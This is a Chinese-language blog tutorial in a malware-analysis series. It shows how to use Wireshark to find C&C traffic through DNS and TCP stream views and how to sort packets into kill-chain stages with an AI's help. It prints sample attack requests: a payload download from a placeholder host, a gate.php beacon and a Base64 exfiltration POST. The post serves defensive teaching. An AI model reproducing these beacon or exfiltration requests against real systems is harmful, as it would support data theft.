[实践]“你和黑客聊了什么?”📡 C&C服务器通信包分析与杀伤链分类

大家好,数字世界的窃听专家(?)们!🕵️‍♂️🎧

直到上次,我们都在PC中执行恶意软件,并观察它做了什么(动态分析)。我们确认它创建了文件,并修改了注册表。

然而,恶意软件分析的“画龙点睛之笔”正是网络分析。恶意软件不会单独行动。它必须与黑客的据点——C&C(Command & Control)服务器通信,接收命令,并传出窃取的信息。

这就像间谍渗透到敌方阵地,然后向总部发送无线电信号一样。📻 我们需要截获这些无线电内容(数据包),以查明“到底窃取了什么信息”以及“攻击进展到哪个阶段了”

今天,我们将利用Wireshark(网络嗅探器)来剖析恶意数据包,并将其按网络杀伤链(Cyber Kill Chain)阶段进行分类的实践。🦈


1. 📡 C&C通信与杀伤链(Kill Chain)的关系

在分析之前,了解我们看到的数据包属于攻击的哪个阶段至关重要。从网络角度看,杀伤链主要分为三个阶段:

  1. 安装 (Installation): 恶意软件下载附加文件(Payload)的阶段。
  2. 命令与控制 (C2): 发送“我还活着!”信号(Heartbeat)或等待黑客命令的阶段。
  3. 目标行动 (Action on Objectives): 将键盘记录的信息或文档传输(Exfiltration)到黑客服务器的阶段。

我们的目标是根据数据包区分这三个阶段。


2. 🛠️ [准备工作] 数据包捕获文件 (PCAP)

如果在上次动态分析实践中,您在沙箱中执行恶意软件的同时捕获了数据包,那是最好的。或者,您也可以从Malware-Traffic-Analysis.net等网站获取教学用的PCAP文件。

  • 工具: Wireshark (数据包分析之王)
  • 文件: infected_log.pcap (包含恶意通信的文件)

3. 🦈 [实践步骤 1] 确认连接目的地:“打给谁了?” (DNS)

首先要看的是DNS查询。恶意软件通常会查找域名(例如:bad-hacker.com),而不是IP地址。

  1. 输入过滤器: 在Wireshark顶部的过滤器栏中输入 dns。
  2. 检查数据包: 查看 Standard query 部分。
  • 忽略 google.com, microsoft.com (正常)。
  • 寻找可疑域名
  • 例如:xkwz-update-server.biz, api.telegram.org (如果Telegram被用作C2)

🕵️‍♂️ 分析要点如果域名是像 a1b2c3d4e5.com 这样的随机字符串呢?

那么恶意软件使用DGA(域名生成算法)的可能性非常高!


4. 📦 [实践步骤 2] 窃听对话内容:HTTP/TCP流分析

如果找到了可疑域名的IP地址(例如:192.168.10.100),现在就具体查看交换了哪些数据。

  1. 输入过滤器: ip.addr == 192.168.10.100 && http (如果是HTTPS,会显示为TLS,但今天以教学用的HTTP为准)
  2. 追踪流: 在数据包列表中右键点击 -> Follow -> TCP Stream (或 HTTP Stream)。
  3. 检查对话内容:
  • 红色: 我发送的数据 (Request)
  • 蓝色: 服务器发送的数据 (Response)

5. ⛓️ [实践步骤 3] 按杀伤链阶段分类数据包 (利用AI)

TCP流窗口中可能会显示一些像乱码一样的数据。这时,AI的帮助会非常出色地进行解释。复制数据包内容,然后询问AI吧!

🟢 情况 1: 下载附加恶意代码 (Installation 阶段)

  • 数据包内容:
  • `GET /payload/ransom.exe HTTP/1.1

Host: 192.168.10.100

User-Agent: Mozilla/5.0…`

  • AI分析请求: “这个HTTP请求意味着什么?”
  • AI回答: “用户正在从服务器下载名为 ransom.exe 的可执行文件。这对应于杀伤链的Installation(安装)阶段。”

🟡 情况 2: 僵尸PC报告 (C2 阶段)

  • 数据包内容:
  • `POST /gate.php HTTP/1.1

Content-Length: 15

id=12345&os=win10`

  • AI分析请求: “这个POST请求的目的是什么?”
  • AI回答: “受感染的PC正在向黑客服务器(gate.php)注册其ID和操作系统信息。这是Command and Control(C2)阶段的信标信号,表明攻击准备已完成。”

🔴 情况 3: 信息泄露 (Action on Objectives 阶段)

  • 数据包内容:
  • HTTP
  • `POST /upload HTTP/1.1

data=V2UgaGF2ZSB5b3VyIHBhc3N3b3JkIQ==`

  • AI分析请求: “这里的data参数值似乎是Base64编码的。请解码并告诉我内容是什么,以及属于哪个攻击阶段。”
  • AI回答:
  • 解码结果: “We have your password!”
  • 分析: “这是将受害者的重要信息泄露到外部的行为。它对应于杀伤链的最后阶段,即Action on Objectives(目标达成/信息泄露)。”

6. 📊 [结果整理] 完成攻击场景

通过网络分析,我们可以将模糊的攻击流程完善为基于证据的场景

📝 网络取证摘要

>

1. [14:00] Installation: 确认从恶意域名(mal-site.com)下载 payload.exe。

2. [14:02] C2 Establishment: 通过向C2服务器发送受感染PC信息(OS, IP)建立连接。

3. [14:05] Action on Objectives: 确认尝试通过POST方式泄露 passwords.txt 文件内容。


🎉 结束语:我们听到了黑客的声音!

恭喜!👏 你们现在不仅掌握了PC内部(主机)的分析技术,还学会了窃听通过无形线路(网络)流动的黑客秘密对话的技术。

  • 如果文件分析是“指纹鉴定”
  • 那么数据包分析就像是“通话记录查询”

当这两种证据结合起来时,黑客将无处藏身。😎

好了,现在我们真的已经越过了90%的难关。所有的分析都已完成。现在只剩下整理这些精彩的分析结果并进行报告了。

下一次,我们将迎来本系列的压轴大戏!“[最终] 利用AI自动生成专家级恶意软件分析报告(PDF)”。敬请期待你们的努力转化为精美文档的时刻!👋



Comments

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注